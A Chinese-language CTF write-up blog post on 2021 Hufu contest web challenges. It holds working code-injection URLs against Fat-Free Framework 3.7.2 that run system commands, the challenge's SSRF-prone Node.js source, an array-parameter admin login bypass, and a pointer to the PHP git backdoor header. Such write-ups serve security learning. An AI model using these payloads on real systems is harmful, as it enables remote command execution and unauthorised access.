CTF | 2021 数字中国创新大赛虎符网络安全赛道 WriteUp


引言

2021 数字中国创新大赛虎符网络安全赛道

2021年4月3日 10:00-18:00

https://www.ichunqiu.com/2021hfctf

貌似有一段时间没来打 CTF 了,手有点生了。

今年的虎符来的有点早,还赶上了清明假期,大家都比较忙,就来随意看看题好了吧(

Web

签到

师傅们常说,要善于学习,细致入微;师傅们也常说,要善于分享,总结归纳。

2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染。

参考新闻 PHP的Git服务器被入侵,源代码被添加后门

PHP 官方:Changes to Git commit workflow

https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d

或者 http://git.php.net/?p=php-src.git;a=blobdiff;f=ext/zlib/zlib.c;h=6964407837cb073cd04e8db9d2b2b0e4ccd8faf8;hp=02fb4dd207a29bb2e3f1fefb1cac5e0fab5ca146;hb=c730aa26bd52829a49f2ad284b181b7e82a68d7d;hpb=92aeda524b0b99ab0c861bcba62e5a471ba805e6

直接在 header 打就好了。注意是两个t

payload

unsetme

是缺陷还是漏洞呢。

<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run(); 

Fat-Free Framework ,一查发现 3.7.1 版本存在 RCE 漏洞 CVE-2020-5203

但这个漏洞在 3.7.2 修复了。

根据 /lib/CHANGELOG.md,得知题目用到的版本是 3.7.2 (28 May 2020)

查看源码,当对不可访问的属性调用 unset()__unset()会被调用。

clear 里有 eval,拼接字符串,但需要有 $parts[1]

if (!isset($parts[1]) && array_key_exists($parts[0],$this->init))
    // Reset global to default value
    $this->hive[$parts[0]]=$this->init[$parts[0]];
else {
    $val=preg_replace('/^(\$hive)/','$this->hive',
                      $this->compile('@hive.'.$key, FALSE));
    eval('unset('.$val.');');
    if ($parts[0]=='SESSION') {
        session_commit();
        session_start();
    }
    if ($cache->exists($hash=$this->hash($key).'.var'))
        // Remove from cache
        $cache->clear($hash);
}

再看 changelog

根据 https://github.com/bcosca/fatfree/issues/1206

https://github.com/bcosca/fatfree/issues/1191

正则匹配对 [] 处理不当,于是构造 payload

/?a=SESSION[f3-reroute-info]);phpinfo(

/?a=SESSION[f3-reroute-info]);system('ls /'

/?a=SESSION[f3-reroute-info]);system('cat /flag'

flag{dfc91022-dc9d-481a-8b46-cff1ce6e51be}

internal_system

开发了一个公司内部的请求代理网站,好像有点问题,但来不及了还是先上线吧(─.─||)

http://8.140.152.226:47921/

hint: /source存在源码泄露;/proxy存在ssrf

(这是一道零解的题目……

访问 /source 得到源码,啊是 NodeJS。

const express = require('express')
const router = express.Router()

const axios = require('axios')

const isIp = require('is-ip')
const IP = require('ip')

const UrlParse = require('url-parse')

const {sha256, hint} = require('./utils')

const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'

const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))

const port = process.env.PORT || 3000

function formatResopnse(response) {
    if(typeof(response) !== typeof('')) {
        return JSON.stringify(response)
    } else {
        return response
    }
}

function SSRF_WAF(url) {
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')

    return isIp(host) && IP.isPublic(host)
}

function FLAG_WAF(url) {
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
}

function OTHER_WAF(url) {
    return true;
}

const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF] 

router.get('/', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login')
    } else {
        res.redirect('/index')
    }
})

router.get('/login', (req, res, next) => {
    const {username, password} = req.query;

    if(!username || !password || username === password || username.length === password.length || username === 'admin') {
        res.render('login')
    } else {
        const hash = sha256(sha256(salt + username) + sha256(salt + password))

        req.session.admin = hash === adminHash

        res.redirect('/index')
    }
})

router.get('/index', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {
        res.redirect('/login')
    } else {
        res.render('index', {admin: req.session.admin})
    }
})

router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) {
        return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);

    console.log(url)

    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)

    if(!status) {
        res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
        try {
            const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
            res.render('base', response.data)
        } catch(error) {
            res.render('base', error.message)
        }
    }
})

router.post('/proxy', async(req, res, next) => {
    if(!req.session.admin) {
        return res.redirect('/index')
    }
    // test url
    // not implemented here
    const url = "https://postman-echo.com/post"
    await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
    res.render('base', "Something needs to be implemented")
})


router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }

    const result = {title: 'Search Success', content: ''}

    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body

    try {
        if(method == 'get') {
            const response = await axios.get(url)
            result.content = formatResopnse(response.data)
        } else if(method == 'post') {
            const response = await axios.post(url, data)
            result.content = formatResopnse(response.data)
        } else {
            result.title = 'Error'
            result.content = 'Unsupported Method'
        }
    } catch(error) {
        result.title = 'Error'
        result.content = error.message
    }

    return res.json(result)
})

router.get('/source', (req, res, next)=>{
    res.sendFile( __dirname + "/" + "route.js");
})

router.get('/flag', (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){
        return res.send({title: 'Error', content: 'No Flag For You!'})
    }
    return res.json({hint: hint})
})

module.exports = router

首先需要登录,这里用到了 JavaScript 弱类型的特性。

参考 SuSeC CTF 2020 Writeup & 基于Node.JS的sha1绕过分析

以及 Node.js中url.parse函数的潜在安全问题

JavaScript 在使用加号拼接的时候最终会得到一个字符串(string),于是不会影响 sha256 的处理。

这里是用 GET query 传参,可以构造 payload

username[]=admin&password=admin

就能成功以管理员身份进入。

接下来打 ssrf……

(题目环境关了复现不了了啊嘤嘤嘤

(后面再搭环境复现吧 赵总的 buuoj 开了环境👇

环境: [虎符CTF 2021] Internal System

这题太顶了!

专门写了一篇复现这题的博客,移步下面这篇吧。

CTF | 2021 虎符CTF Web internal_system 复现


小结

就做出了两题 web,喵喵好菜啊是 fw,喵呜呜呜(

不过有点佛系,就下午看了一下,快到晚上就出去玩了(其实没认真打,这就逃走

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
CTF | 2021 虎符CTF Web internal_system 复现 CTF | 2021 虎符CTF Web internal_system 复现
前几天的虎符CTF的Web中有一道零解的题目,即internal_system,趁着还有兴趣就来复现一下好了。这题巨大多知识点,确实学到了许多……
2021-04-05
下一篇 
DN42 | 入坑 DN42 实验网络 DN42 | 入坑 DN42 实验网络
最近几天入了DN42的坑,申请了ASN、IP、域名,搭建了VPN通信隧道,配置好BGP路由,完成了和其他网络的Peer。
2021-03-25
  目录